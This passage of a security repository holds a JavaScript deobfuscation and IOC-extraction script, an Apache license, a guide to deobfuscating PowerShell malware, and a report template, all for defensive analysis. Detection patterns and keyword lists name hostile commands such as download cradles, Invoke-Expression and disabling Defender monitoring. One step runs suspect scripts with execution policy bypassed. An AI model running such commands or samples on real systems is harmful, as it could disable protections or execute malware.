techniques.append("setTimeout_exec")
|
||||
if re.search(r'setInterval\s*\(\s*function\s*\(\)\s*\{\s*debugger', code):
|
||||
techniques.append("anti_debugging_debugger")
|
||||
if re.search(r'window\.outerWidth\s*-\s*window\.innerWidth', code):
|
||||
techniques.append("anti_debugging_devtools")
|
||||
if re.search(r'performance\.now\s*\(\)', code):
|
||||
techniques.append("anti_debugging_timing")
|
||||
if re.search(r'_0x[0-9a-fA-F]+', code):
|
||||
techniques.append("variable_mangling")
|
||||
if re.search(r'var\s+_0x[0-9a-fA-F]+\s*=\s*\[', code):
|
||||
techniques.append("string_array")
|
||||
if "unescape(" in code:
|
||||
techniques.append("unescape_encoding")
|
||||
return techniques
|
||||
|
||||
|
||||
def extract_iocs(code):
|
||||
"""Extract potential IOCs from deobfuscated JavaScript."""
|
||||
iocs = {"urls": [], "domains": [], "ips": [], "emails": []}
|
||||
url_pattern = re.compile(r'https?://[^\s"\'<>\)]+', re.IGNORECASE)
|
||||
domain_pattern = re.compile(r'(?:[a-zA-Z0-9-]+\.)+(?:com|net|org|io|xyz|top|info|cc|ru|cn|tk)\b')
|
||||
ip_pattern = re.compile(r'\b(?:\d{1,3}\.){3}\d{1,3}\b')
|
||||
email_pattern = re.compile(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}')
|
||||
|
||||
iocs["urls"] = list(set(url_pattern.findall(code)))
|
||||
iocs["domains"] = list(set(domain_pattern.findall(code)))
|
||||
iocs["ips"] = list(set(ip_pattern.findall(code)))
|
||||
iocs["emails"] = list(set(email_pattern.findall(code)))
|
||||
return iocs
|
||||
|
||||
|
||||
def remove_anti_debug(code):
|
||||
"""Remove common anti-debugging traps from JavaScript."""
|
||||
code = re.sub(
|
||||
r'setInterval\s*\(\s*function\s*\(\)\s*\{\s*debugger\s*;?\s*\}\s*,\s*\d+\s*\)',
|
||||
'/* anti-debug removed */',
|
||||
code
|
||||
)
|
||||
code = re.sub(
|
||||
r'if\s*\(\s*window\.outerWidth\s*-\s*window\.innerWidth\s*>\s*\d+\s*\)[^}]*\}',
|
||||
'/* devtools detection removed */',
|
||||
code
|
||||
)
|
||||
return code
|
||||
|
||||
|
||||
def deobfuscate(code, remove_debug=True):
|
||||
"""Apply all deobfuscation passes to JavaScript code."""
|
||||
if remove_debug:
|
||||
code = remove_anti_debug(code)
|
||||
code = decode_hex_strings(code)
|
||||
code = decode_unicode_escapes(code)
|
||||
code = decode_charcode_calls(code)
|
||||
code = decode_atob_calls(code)
|
||||
code = decode_unescape_calls(code)
|
||||
code = beautify_js(code)
|
||||
return code
|
||||
|
||||
|
||||
def extract_scripts_from_html(html_content):
|
||||
"""Extract inline JavaScript from HTML file."""
|
||||
pattern = re.compile(r'<script[^>]*>(.*?)</script>', re.DOTALL | re.IGNORECASE)
|
||||
scripts = pattern.findall(html_content)
|
||||
return [s.strip() for s in scripts if s.strip()]
|
||||
|
||||
|
||||
def analyze_file(file_path):
|
||||
"""Full analysis pipeline for a JavaScript or HTML file."""
|
||||
path = Path(file_path)
|
||||
if not path.exists():
|
||||
return {"error": f"File not found: {file_path}"}
|
||||
|
||||
content = path.read_text(encoding="utf-8", errors="replace")
|
||||
|
||||
if path.suffix.lower() in (".html", ".htm"):
|
||||
scripts = extract_scripts_from_html(content)
|
||||
else:
|
||||
scripts = [content]
|
||||
|
||||
results = []
|
||||
for i, script in enumerate(scripts):
|
||||
techniques = detect_obfuscation_techniques(script)
|
||||
deobfuscated = deobfuscate(script)
|
||||
iocs = extract_iocs(deobfuscated)
|
||||
results.append({
|
||||
"script_index": i,
|
||||
"original_size": len(script),
|
||||
"deobfuscated_size": len(deobfuscated),
|
||||
"obfuscation_techniques": techniques,
|
||||
"iocs": iocs,
|
||||
"deobfuscated_preview": deobfuscated[:2000],
|
||||
})
|
||||
|
||||
return {
|
||||
"file": file_path,
|
||||
"script_count": len(scripts),
|
||||
"analyses": results,
|
||||
}
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2:
|
||||
print("Usage: agent.py <file.js|file.html> [--full]")
|
||||
sys.exit(1)
|
||||
|
||||
result = analyze_file(sys.argv[1])
|
||||
if "--full" in sys.argv:
|
||||
print(json.dumps(result, indent=2, default=str))
|
||||
else:
|
||||
for analysis in result.get("analyses", []):
|
||||
analysis.pop("deobfuscated_preview", None)
|
||||
print(json.dumps(result, indent=2, default=str))
|
||||
@@ -0,0 +1,201 @@
|
||||
|
||||
Apache License
|
||||
Version 2.0, January 2004
|
||||
http://www.apache.org/licenses/
|
||||
|
||||
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
|
||||
|
||||
1. Definitions.
|
||||
|
||||
"License" shall mean the terms and conditions for use, reproduction,
|
||||
and distribution as defined by Sections 1 through 9 of this document.
|
||||
|
||||
"Licensor" shall mean the copyright owner or entity authorized by
|
||||
the copyright owner that is granting the License.
|
||||
|
||||
"Legal Entity" shall mean the union of the acting entity and all
|
||||
other entities that control, are controlled by, or are under common
|
||||
control with that entity. For the purposes of this definition,
|
||||
"control" means (i) the power, direct or indirect, to cause the
|
||||
direction or management of such entity, whether by contract or
|
||||
otherwise, or (ii) ownership of fifty percent (50%) or more of the
|
||||
outstanding shares, or (iii) beneficial ownership of such entity.
|
||||
|
||||
"You" (or "Your") shall mean an individual or Legal Entity
|
||||
exercising permissions granted by this License.
|
||||
|
||||
"Source" form shall mean the preferred form for making modifications,
|
||||
including but not limited to software source code, documentation
|
||||
source, and configuration files.
|
||||
|
||||
"Object" form shall mean any form resulting from mechanical
|
||||
transformation or translation of a Source form, including but
|
||||
not limited to compiled object code, generated documentation,
|
||||
and conversions to other media types.
|
||||
|
||||
"Work" shall mean the work of authorship, whether in Source or
|
||||
Object form, made available under the License, as indicated by a
|
||||
copyright notice that is included in or attached to the work
|
||||
(an example is provided in the Appendix below).
|
||||
|
||||
"Derivative Works" shall mean any work, whether in Source or Object
|
||||
form, that is based on (or derived from) the Work and for which the
|
||||
editorial revisions, annotations, elaborations, or other modifications
|
||||
represent, as a whole, an original work of authorship. For the purposes
|
||||
of this License, Derivative Works shall not include works that remain
|
||||
separable from, or merely link (or bind by name) to the interfaces of,
|
||||
the Work and Derivative Works thereof.
|
||||
|
||||
"Contribution" shall mean any work of authorship, including
|
||||
the original version of the Work and any modifications or additions
|
||||
to that Work or Derivative Works thereof, that is intentionally
|
||||
submitted to the Licensor for inclusion in the Work by the copyright owner
|
||||
or by an individual or Legal Entity authorized to submit on behalf of
|
||||
the copyright owner. For the purposes of this definition, "submitted"
|
||||
means any form of electronic, verbal, or written communication sent
|
||||
to the Licensor or its representatives, including but not limited to
|
||||
communication on electronic mailing lists, source code control systems,
|
||||
and issue tracking systems that are managed by, or on behalf of, the
|
||||
Licensor for the purpose of discussing and improving the Work, but
|
||||
excluding communication that is conspicuously marked or otherwise
|
||||
designated in writing by the copyright owner as "Not a Contribution."
|
||||
|
||||
"Contributor" shall mean Licensor and any individual or Legal Entity
|
||||
on behalf of whom a Contribution has been received by the Licensor and
|
||||
subsequently incorporated within the Work.
|
||||
|
||||
2. Grant of Copyright License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
copyright license to reproduce, prepare Derivative Works of,
|
||||
publicly display, publicly perform, sublicense, and distribute the
|
||||
Work and such Derivative Works in Source or Object form.
|
||||
|
||||
3. Grant of Patent License. Subject to the terms and conditions of
|
||||
this License, each Contributor hereby grants to You a perpetual,
|
||||
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
|
||||
(except as stated in this section) patent license to make, have made,
|
||||
use, offer to sell, sell, import, and otherwise transfer the Work,
|
||||
where such license applies only to those patent claims licensable
|
||||
by such Contributor that are necessarily infringed by their
|
||||
Contribution(s) alone or by combination of their Contribution(s)
|
||||
with the Work to which such Contribution(s) was submitted. If You
|
||||
institute patent litigation against any entity (including a
|
||||
cross-claim or counterclaim in a lawsuit) alleging that the Work
|
||||
or a Contribution incorporated within the Work constitutes direct
|
||||
or contributory patent infringement, then any patent licenses
|
||||
granted to You under this License for that Work shall terminate
|
||||
as of the date such litigation is filed.
|
||||
|
||||
4. Redistribution. You may reproduce and distribute copies of the
|
||||
Work or Derivative Works thereof in any medium, with or without
|
||||
modifications, and in Source or Object form, provided that You
|
||||
meet the following conditions:
|
||||
|
||||
(a) You must give any other recipients of the Work or
|
||||
Derivative Works a copy of this License; and
|
||||
|
||||
(b) You must cause any modified files to carry prominent notices
|
||||
stating that You changed the files; and
|
||||
|
||||
(c) You must retain, in the Source form of any Derivative Works
|
||||
that You distribute, all copyright, patent, trademark, and
|
||||
attribution notices from the Source form of the Work,
|
||||
excluding those notices that do not pertain to any part of
|
||||
the Derivative Works; and
|
||||
|
||||
(d) If the Work includes a "NOTICE" text file as part of its
|
||||
distribution, then any Derivative Works that You distribute must
|
||||
include a readable copy of the attribution notices contained
|
||||
within such NOTICE file, excluding any notices that do not
|
||||
pertain to any part of the Derivative Works, in at least one
|
||||
of the following places: within a NOTICE text file distributed
|
||||
as part of the Derivative Works; within the Source form or
|
||||
documentation, if provided along with the Derivative Works; or,
|
||||
within a display generated by the Derivative Works, if and
|
||||
wherever such third-party notices normally appear. The contents
|
||||
of the NOTICE file are for informational purposes only and
|
||||
do not modify the License. You may add Your own attribution
|
||||
notices within Derivative Works that You distribute, alongside
|
||||
or as an addendum to the NOTICE text from the Work, provided
|
||||
that such additional attribution notices cannot be construed
|
||||
as modifying the License.
|
||||
|
||||
You may add Your own copyright statement to Your modifications and
|
||||
may provide additional or different license terms and conditions
|
||||
for use, reproduction, or distribution of Your modifications, or
|
||||
for any such Derivative Works as a whole, provided Your use,
|
||||
reproduction, and distribution of the Work otherwise complies with
|
||||
the conditions stated in this License.
|
||||
|
||||
5. Submission of Contributions. Unless You explicitly state otherwise,
|
||||
any Contribution intentionally submitted for inclusion in the Work
|
||||
by You to the Licensor shall be under the terms and conditions of
|
||||
this License, without any additional terms or conditions.
|
||||
Notwithstanding the above, nothing herein shall supersede or modify
|
||||
the terms of any separate license agreement you may have executed
|
||||
with Licensor regarding such Contributions.
|
||||
|
||||
6. Trademarks. This License does not grant permission to use the trade
|
||||
names, trademarks, service marks, or product names of the Licensor,
|
||||
except as required for reasonable and customary use in describing the
|
||||
origin of the Work and reproducing the content of the NOTICE file.
|
||||
|
||||
7. Disclaimer of Warranty. Unless required by applicable law or
|
||||
agreed to in writing, Licensor provides the Work (and each
|
||||
Contributor provides its Contributions) on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
|
||||
implied, including, without limitation, any warranties or conditions
|
||||
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
|
||||
PARTICULAR PURPOSE. You are solely responsible for determining the
|
||||
appropriateness of using or redistributing the Work and assume any
|
||||
risks associated with Your exercise of permissions under this License.
|
||||
|
||||
8. Limitation of Liability. In no event and under no legal theory,
|
||||
whether in tort (including negligence), contract, or otherwise,
|
||||
unless required by applicable law (such as deliberate and grossly
|
||||
negligent acts) or agreed to in writing, shall any Contributor be
|
||||
liable to You for damages, including any direct, indirect, special,
|
||||
incidental, or consequential damages of any character arising as a
|
||||
result of this License or out of the use or inability to use the
|
||||
Work (including but not limited to damages for loss of goodwill,
|
||||
work stoppage, computer failure or malfunction, or any and all
|
||||
other commercial damages or losses), even if such Contributor
|
||||
has been advised of the possibility of such damages.
|
||||
|
||||
9. Accepting Warranty or Additional Liability. While redistributing
|
||||
the Work or Derivative Works thereof, You may choose to offer,
|
||||
and charge a fee for, acceptance of support, warranty, indemnity,
|
||||
or other liability obligations and/or rights consistent with this
|
||||
License. However, in accepting such obligations, You may act only
|
||||
on Your own behalf and on Your sole responsibility, not on behalf
|
||||
of any other Contributor, and only if You agree to indemnify,
|
||||
defend, and hold each Contributor harmless for any liability
|
||||
incurred by, or claims asserted against, such Contributor by reason
|
||||
of your accepting any such warranty or additional liability.
|
||||
|
||||
END OF TERMS AND CONDITIONS
|
||||
|
||||
APPENDIX: How to apply the Apache License to your work.
|
||||
|
||||
To apply the Apache License to your work, attach the following
|
||||
boilerplate notice, with the fields enclosed by brackets "[]"
|
||||
replaced with your own identifying information. (Don't include
|
||||
the brackets!) The text should be enclosed in the appropriate
|
||||
comment syntax for the file format. Please do not remove or change
|
||||
the license header comment from a contributed file except when
|
||||
necessary.
|
||||
|
||||
Copyright 2026 mukul975
|
||||
|
||||
Licensed under the Apache License, Version 2.0 (the "License");
|
||||
you may not use this file except in compliance with the License.
|
||||
You may obtain a copy of the License at
|
||||
|
||||
http://www.apache.org/licenses/LICENSE-2.0
|
||||
|
||||
Unless required by applicable law or agreed to in writing, software
|
||||
distributed under the License is distributed on an "AS IS" BASIS,
|
||||
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
See the License for the specific language governing permissions and
|
||||
limitations under the License.
|
||||
@@ -0,0 +1,386 @@
|
||||
---
|
||||
name: deobfuscating-powershell-obfuscated-malware
|
||||
description: Systematically deobfuscates multi-layer PowerShell malware using AST analysis, dynamic tracing, and tools like PSDecode and PowerDecode to reveal hidden payloads and C2 infrastructure. Use during incident response or malware analysis when a PowerShell script is obfuscated with encoding, string manipulation, or invocation tricks and you need to recover the underlying commands, dropped payloads, or C2 endpoints.
|
||||
domain: cybersecurity
|
||||
subdomain: malware-analysis
|
||||
tags:
|
||||
- powershell
|
||||
- deobfuscation
|
||||
- malware-analysis
|
||||
- scripting
|
||||
- obfuscation
|
||||
- ast-analysis
|
||||
- incident-response
|
||||
mitre_attack:
|
||||
- T1059.001
|
||||
- T1027.010
|
||||
- T1140
|
||||
- T1027
|
||||
- T1620
|
||||
version: '1.0'
|
||||
author: mahipal
|
||||
license: Apache-2.0
|
||||
d3fend_techniques:
|
||||
- Executable Denylisting
|
||||
- Execution Isolation
|
||||
- File Metadata Consistency Validation
|
||||
- Content Format Conversion
|
||||
- File Content Analysis
|
||||
nist_csf:
|
||||
- DE.AE-02
|
||||
- RS.AN-03
|
||||
- ID.RA-01
|
||||
- DE.CM-01
|
||||
---
|
||||
# Deobfuscating PowerShell Obfuscated Malware
|
||||
|
||||
## Overview
|
||||
|
||||
PowerShell is heavily abused by malware authors due to its deep Windows integration and powerful scripting capabilities. Obfuscation techniques include string concatenation, Base64 encoding, character substitution, Invoke-Expression layering, SecureString abuse, environment variable manipulation, and tick-mark insertion. Modern malware uses multiple obfuscation layers requiring iterative deobfuscation. Tools like PSDecode, PowerDecode, and PowerPeeler automate much of this process, while manual AST (Abstract Syntax Tree) analysis handles custom obfuscation. PowerPeeler achieves a 95% deobfuscation correctness rate using instruction-level dynamic analysis of expression-related AST nodes.
|
||||
|
||||
|
||||
## When to Use
|
||||
|
||||
- When performing authorized security testing that involves deobfuscating powershell obfuscated malware
|
||||
- When analyzing malware samples or attack artifacts in a controlled environment
|
||||
- When conducting red team exercises or penetration testing engagements
|
||||
- When building detection capabilities based on offensive technique understanding
|
||||
|
||||
## Prerequisites
|
||||
|
||||
- Python 3.9+ with `base64`, `re`, `subprocess` modules
|
||||
- PowerShell 5.1+ or PowerShell 7+ (for AST access)
|
||||
- PSDecode (`Install-Module PSDecode`)
|
||||
- PowerDecode (https://github.com/Malandrone/PowerDecode)
|
||||
- Isolated VM or sandbox for safe script execution
|
||||
- CyberChef for manual encoding transformations
|
||||
- Understanding of PowerShell AST and Invoke-Expression patterns
|
||||
|
||||
## Key Concepts
|
||||
|
||||
### Common Obfuscation Techniques
|
||||
|
||||
PowerShell malware employs layered obfuscation to evade static detection. String concatenation splits commands across variables (`$a='In'+'voke'`). Base64 encoding wraps entire scripts in `-EncodedCommand` parameters. Character code arrays use `[char]` casting (`[char[]](73,69,88)|%{$r+=$_}`). Environment variable abuse reads substrings from `$env:` paths. Tick-mark insertion adds backticks between characters that PowerShell ignores (`I`nv`oke-Exp`ression`). SecureString conversion encrypts strings using ConvertTo-SecureString with embedded keys.
|
||||
|
||||
### AST-Based Deobfuscation
|
||||
|
||||
PowerShell's Abstract Syntax Tree exposes the parsed structure of scripts regardless of surface-level obfuscation. By walking the AST and evaluating expression nodes, analysts can resolve concatenated strings, decode encoded values, and reconstruct the original commands. PowerPeeler uses this approach at the instruction level, monitoring the execution process to correlate AST nodes with their evaluated results.
|
||||
|
||||
### Dynamic Execution Tracing
|
||||
|
||||
By replacing `Invoke-Expression` (IEX) with `Write-Output`, analysts can safely capture the deobfuscated script content that would normally be executed. This technique works across multiple layers by iteratively replacing IEX calls until the final payload is revealed.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Step 1: Identify Obfuscation Layers
|
||||
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
"""Identify and classify PowerShell obfuscation techniques."""
|
||||
import re
|
||||
import base64
|
||||
import sys
|
||||
|
||||
|
||||
def analyze_obfuscation(script_content):
|
||||
"""Identify obfuscation techniques used in PowerShell script."""
|
||||
techniques = []
|
||||
|
||||
# Check for Base64 encoded command
|
||||
b64_pattern = re.compile(
|
||||
r'-[Ee](?:nc(?:odedcommand)?)\s+([A-Za-z0-9+/=]{20,})',
|
||||
re.IGNORECASE
|
||||
)
|
||||
if b64_pattern.search(script_content):
|
||||
techniques.append("Base64 EncodedCommand")
|
||||
|
||||
# Check for FromBase64String
|
||||
if re.search(r'\[Convert\]::FromBase64String', script_content, re.IGNORECASE):
|
||||
techniques.append("Base64 FromBase64String")
|
||||
|
||||
# Check for string concatenation
|
||||
concat_count = script_content.count("'+'") + script_content.count('"+"')
|
||||
if concat_count > 3:
|
||||
techniques.append(f"String Concatenation ({concat_count} joins)")
|
||||
|
||||
# Check for char array construction
|
||||
if re.search(r'\[char\]\s*\d+', script_content, re.IGNORECASE):
|
||||
techniques.append("Character Code Array")
|
||||
|
||||
# Check for Invoke-Expression variants
|
||||
iex_patterns = [
|
||||
r'Invoke-Expression',
|
||||
r'\bIEX\b',
|
||||
r'\.\s*\(\s*\$',
|
||||
r'&\s*\(\s*\$',
|
||||
r'\|\s*IEX',
|
||||
r'\|\s*Invoke-Expression',
|
||||
]
|
||||
for pattern in iex_patterns:
|
||||
if re.search(pattern, script_content, re.IGNORECASE):
|
||||
techniques.append(f"Invoke-Expression variant: {pattern}")
|
||||
|
||||
# Check for tick-mark obfuscation
|
||||
tick_count = script_content.count('`')
|
||||
if tick_count > 5:
|
||||
techniques.append(f"Tick-mark Insertion ({tick_count} backticks)")
|
||||
|
||||
# Check for environment variable abuse
|
||||
if re.search(r'\$env:', script_content, re.IGNORECASE):
|
||||
env_refs = re.findall(r'\$env:\w+', script_content, re.IGNORECASE)
|
||||
if len(env_refs) > 2:
|
||||
techniques.append(f"Environment Variable Abuse ({len(env_refs)} refs)")
|
||||
|
||||
# Check for SecureString
|
||||
if re.search(r'ConvertTo-SecureString', script_content, re.IGNORECASE):
|
||||
techniques.append("SecureString Encryption")
|
||||
|
||||
# Check for compression
|
||||
if re.search(r'IO\.Compression|DeflateStream|GZipStream',
|
||||
script_content, re.IGNORECASE):
|
||||
techniques.append("Compression (Deflate/GZip)")
|
||||
|
||||
# Check for XOR encoding
|
||||
if re.search(r'-bxor\s+\d+', script_content, re.IGNORECASE):
|
||||
techniques.append("XOR Encoding")
|
||||
|
||||
# Check for Replace chain
|
||||
replace_count = len(re.findall(r'\.Replace\(', script_content))
|
||||
if replace_count > 2:
|
||||
techniques.append(f"Replace Chain ({replace_count} replacements)")
|
||||
|
||||
return techniques
|
||||
|
||||
|
||||
def decode_base64_command(script_content):
|
||||
"""Extract and decode Base64 encoded commands."""
|
||||
b64_match = re.search(
|
||||
r'-[Ee](?:nc(?:odedcommand)?)\s+([A-Za-z0-9+/=]{20,})',
|
||||
script_content, re.IGNORECASE
|
||||
)
|
||||
if b64_match:
|
||||
encoded = b64_match.group(1)
|
||||
try:
|
||||
decoded = base64.b64decode(encoded).decode('utf-16-le')
|
||||
return decoded
|
||||
except Exception:
|
||||
return None
|
||||
return None
|
||||
|
||||
|
||||
def remove_tick_marks(script_content):
|
||||
"""Remove PowerShell tick-mark obfuscation."""
|
||||
# Remove backticks that are not escape sequences
|
||||
escape_chars = {'`n', '`r', '`t', '`a', '`b', '`f', '`v', '`0', '``'}
|
||||
result = []
|
||||
i = 0
|
||||
while i < len(script_content):
|
||||
if script_content[i] == '`' and i + 1 < len(script_content):
|
||||
pair = script_content[i:i+2]
|
||||
if pair in escape_chars:
|
||||
result.append(pair)
|
||||
i += 2
|
||||
else:
|
||||
# Skip the backtick, keep the next char
|
||||
result.append(script_content[i+1])
|
||||
i += 2
|
||||
else:
|
||||
result.append(script_content[i])
|
||||
i += 1
|
||||
return ''.join(result)
|
||||
|
||||
|
||||
def resolve_string_concat(script_content):
|
||||
"""Resolve simple string concatenation patterns."""
|
||||
# Pattern: 'str1' + 'str2'
|
||||
pattern = re.compile(r"'([^']*)'\s*\+\s*'([^']*)'")
|
||||
while pattern.search(script_content):
|
||||
script_content = pattern.sub(lambda m: f"'{m.group(1)}{m.group(2)}'",
|
||||
script_content)
|
||||
# Pattern: "str1" + "str2"
|
||||
pattern = re.compile(r'"([^"]*)"\s*\+\s*"([^"]*)"')
|
||||
while pattern.search(script_content):
|
||||
script_content = pattern.sub(lambda m: f'"{m.group(1)}{m.group(2)}"',
|
||||
script_content)
|
||||
return script_content
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
if len(sys.argv) < 2:
|
||||
print(f"Usage: {sys.argv[0]} <powershell_script>")
|
||||
sys.exit(1)
|
||||
|
||||
with open(sys.argv[1], 'r', errors='replace') as f:
|
||||
content = f.read()
|
||||
|
||||
print("[+] Obfuscation Analysis")
|
||||
print("=" * 60)
|
||||
techniques = analyze_obfuscation(content)
|
||||
for t in techniques:
|
||||
print(f" - {t}")
|
||||
|
||||
# Attempt automatic deobfuscation
|
||||
print("\n[+] Attempting Deobfuscation")
|
||||
print("=" * 60)
|
||||
|
||||
# Layer 1: Remove tick marks
|
||||
deobfuscated = remove_tick_marks(content)
|
||||
|
||||
# Layer 2: Resolve string concatenation
|
||||
deobfuscated = resolve_string_concat(deobfuscated)
|
||||
|
||||
# Layer 3: Decode Base64
|
||||
b64_decoded = decode_base64_command(deobfuscated)
|
||||
if b64_decoded:
|
||||
print("[+] Base64 decoded content:")
|
||||
print(b64_decoded[:2000])
|
||||
deobfuscated = b64_decoded
|
||||
|
||||
print(f"\n[+] Deobfuscated script length: {len(deobfuscated)} chars")
|
||||
output_file = sys.argv[1] + ".deobfuscated.ps1"
|
||||
with open(output_file, 'w') as f:
|
||||
f.write(deobfuscated)
|
||||
print(f"[+] Saved to {output_file}")
|
||||
```
|
||||
|
||||
### Step 2: Multi-Layer IEX Replacement
|
||||
|
||||
```python
|
||||
import subprocess
|
||||
import tempfile
|
||||
import os
|
||||
|
||||
def iex_replacement_deobfuscate(script_content, max_layers=10):
|
||||
"""Iteratively replace IEX with Write-Output to unwrap layers."""
|
||||
# IEX replacement patterns
|
||||
replacements = [
|
||||
(r'\bInvoke-Expression\b', 'Write-Output'),
|
||||
(r'\bIEX\b', 'Write-Output'),
|
||||
(r'\|\s*IEX\b', '| Write-Output'),
|
||||
]
|
||||
|
||||
current = script_content
|
||||
layers = []
|
||||
|
||||
for layer_num in range(max_layers):
|
||||
# Apply IEX replacements
|
||||
modified = current
|
||||
for pattern, replacement in replacements:
|
||||
modified = re.sub(pattern, replacement, modified, flags=re.IGNORECASE)
|
||||
|
||||
if modified == current and layer_num > 0:
|
||||
print(f" [+] No more IEX layers found at layer {layer_num}")
|
||||
break
|
||||
|
||||
# Write to temp file and execute in constrained PowerShell
|
||||
with tempfile.NamedTemporaryFile(mode='w', suffix='.ps1',
|
||||
delete=False) as tmp:
|
||||
tmp.write(modified)
|
||||
tmp_path = tmp.name
|
||||
|
||||
try:
|
||||
result = subprocess.run(
|
||||
['powershell', '-NoProfile', '-ExecutionPolicy', 'Bypass',
|
||||
'-File', tmp_path],
|
||||
capture_output=True, text=True, timeout=30
|
||||
)
|
||||
|
||||
output = result.stdout.strip()
|
||||
if output and output != current:
|
||||
print(f" [+] Layer {layer_num + 1}: Unwrapped "
|
||||
f"{len(output)} chars")
|
||||
layers.append({
|
||||
"layer": layer_num + 1,
|
||||
"technique": "IEX replacement",
|
||||
"content_length": len(output),
|
||||
})
|
||||
current = output
|
||||
else:
|
||||
break
|
||||
|
||||
except subprocess.TimeoutExpired:
|
||||
print(f" [!] Layer {layer_num + 1}: Execution timeout")
|
||||
break
|
||||
finally:
|
||||
os.unlink(tmp_path)
|
||||
|
||||
return current, layers
|
||||
```
|
||||
|
||||
### Step 3: Extract IOCs from Deobfuscated Script
|
||||
|
||||
```python
|
||||
def extract_iocs_from_script(deobfuscated_content):
|
||||
"""Extract indicators of compromise from deobfuscated PowerShell."""
|
||||
iocs = {
|
||||
"urls": [],
|
||||
"ips": [],
|
||||
"domains": [],
|
||||
"file_paths": [],
|
||||
"registry_keys": [],
|
||||
"commands": [],
|
||||
"base64_blobs": [],
|
||||
}
|
||||
|
||||
# URLs
|
||||
url_pattern = re.compile(
|
||||
r'https?://[^\s\'"<>)\]]+', re.IGNORECASE
|
||||
)
|
||||
iocs["urls"] = list(set(url_pattern.findall(deobfuscated_content)))
|
||||
|
||||
# IP addresses
|
||||
ip_pattern = re.compile(
|
||||
r'\b(?:\d{1,3}\.){3}\d{1,3}\b'
|
||||
)
|
||||
iocs["ips"] = list(set(ip_pattern.findall(deobfuscated_content)))
|
||||
|
||||
# File paths
|
||||
path_pattern = re.compile(
|
||||
r'[A-Za-z]:\\[^\s\'"<>|]+|'
|
||||
r'\\\\[^\s\'"<>|]+|'
|
||||
r'%(?:APPDATA|TEMP|USERPROFILE|PROGRAMFILES)%[^\s\'"<>|]*',
|
||||
re.IGNORECASE
|
||||
)
|
||||
iocs["file_paths"] = list(set(path_pattern.findall(deobfuscated_content)))
|
||||
|
||||
# Registry keys
|
||||
reg_pattern = re.compile(
|
||||
r'(?:HKLM|HKCU|HKCR|HKU|HKCC)(?:\\[^\s\'"<>|]+)+',
|
||||
re.IGNORECASE
|
||||
)
|
||||
iocs["registry_keys"] = list(set(reg_pattern.findall(deobfuscated_content)))
|
||||
|
||||
# Suspicious commands
|
||||
suspicious_cmds = [
|
||||
'New-Object Net.WebClient',
|
||||
'DownloadString', 'DownloadFile', 'DownloadData',
|
||||
'Start-Process', 'Invoke-WebRequest',
|
||||
'New-Object IO.MemoryStream',
|
||||
'Reflection.Assembly',
|
||||
'Add-MpPreference -ExclusionPath',
|
||||
'Set-MpPreference -DisableRealtimeMonitoring',
|
||||
'New-ScheduledTask', 'Register-ScheduledTask',
|
||||
]
|
||||
for cmd in suspicious_cmds:
|
||||
if cmd.lower() in deobfuscated_content.lower():
|
||||
iocs["commands"].append(cmd)
|
||||
|
||||
return iocs
|
||||
```
|
||||
|
||||
## Validation Criteria
|
||||
|
||||
- All obfuscation layers identified and classified correctly
|
||||
- Base64 encoded commands decoded to readable PowerShell
|
||||
- Tick-mark and string concatenation obfuscation resolved
|
||||
- IEX replacement reveals next-stage payloads
|
||||
- URLs, IPs, and file paths extracted from final deobfuscated stage
|
||||
- Deobfuscated script matches observed malware behavior in sandbox
|
||||
|
||||
## References
|
||||
|
||||
- [PSDecode - PowerShell Deobfuscation](https://github.com/R3MRUM/PSDecode)
|
||||
- [PowerDecode - Multi-layer Deobfuscation](https://github.com/Malandrone/PowerDecode)
|
||||
- [PowerPeeler - Instruction-level Deobfuscation](https://arxiv.org/html/2406.04027v2)
|
||||
- [SentinelOne - Deconstructing PowerShell Obfuscation](https://www.sentinelone.com/blog/deconstructing-powershell-obfuscation-in-malspam-campaigns/)
|
||||
- [MITRE ATT&CK T1059.001 - PowerShell](https://attack.mitre.org/techniques/T1059/001/)
|
||||
@@ -0,0 +1,66 @@
|
||||
# PowerShell Deobfuscation Analysis Report
|
||||
|
||||
## Report Metadata
|
||||
| Field | Value |
|
||||
|-------|-------|
|
||||
| Report ID | PS-DEOB-YYYY-NNNN |
|
||||
| Date | YYYY-MM-DD |
|
||||
| Sample Hash (SHA-256) | |
|
||||
| Original Filename | |
|
||||
| Classification | TLP:AMBER |
|
||||
|
||||
## Obfuscation Layers Identified
|
||||
|
||||
| Layer | Technique | Description |
|
||||
|-------|-----------|-------------|
|
||||
| 1 | | |
|
||||
| 2 | | |
|
||||
| 3 | | |
|
||||
|
||||
## Deobfuscation Results
|
||||
|
||||
### Layer-by-Layer Breakdown
|
||||
| Layer | Input Size | Output Size | Technique Applied |
|
||||
|-------|-----------|-------------|-------------------|
|
||||
| 1 | bytes | bytes | |
|
||||
| 2 | bytes | bytes | |
|
||||
|
||||
### Final Deobfuscated Script Summary
|
||||
- **Total layers removed**:
|
||||
- **Final script purpose**:
|
||||
- **Execution method**:
|
||||
|
||||
## Extracted IOCs
|
||||
|
||||
### URLs
|
||||
| URL | Purpose |
|
||||
|-----|---------|
|
||||
| | Payload download / C2 |
|
||||
|
||||
### IP Addresses
|
||||
| IP | Context |
|
||||
|----|---------|
|
||||
| | |
|
||||
|
||||
### File System Artifacts
|
||||
| Path | Action |
|
||||
|------|--------|
|
||||
| | Created / Modified / Deleted |
|
||||
|
||||
### Registry Keys
|
||||
| Key | Action |
|
||||
|-----|--------|
|
||||
| | Created / Modified |
|
||||
|
||||
## Behavioral Analysis
|
||||
- **Download behavior**:
|
||||
- **Persistence mechanism**:
|
||||
- **Evasion techniques**:
|
||||
- **Payload type**:
|
||||
|
||||
## MITRE ATT&CK Mapping
|
||||
| Technique | ID | Evidence |
|
||||
|-----------|-----|---------|
|
||||
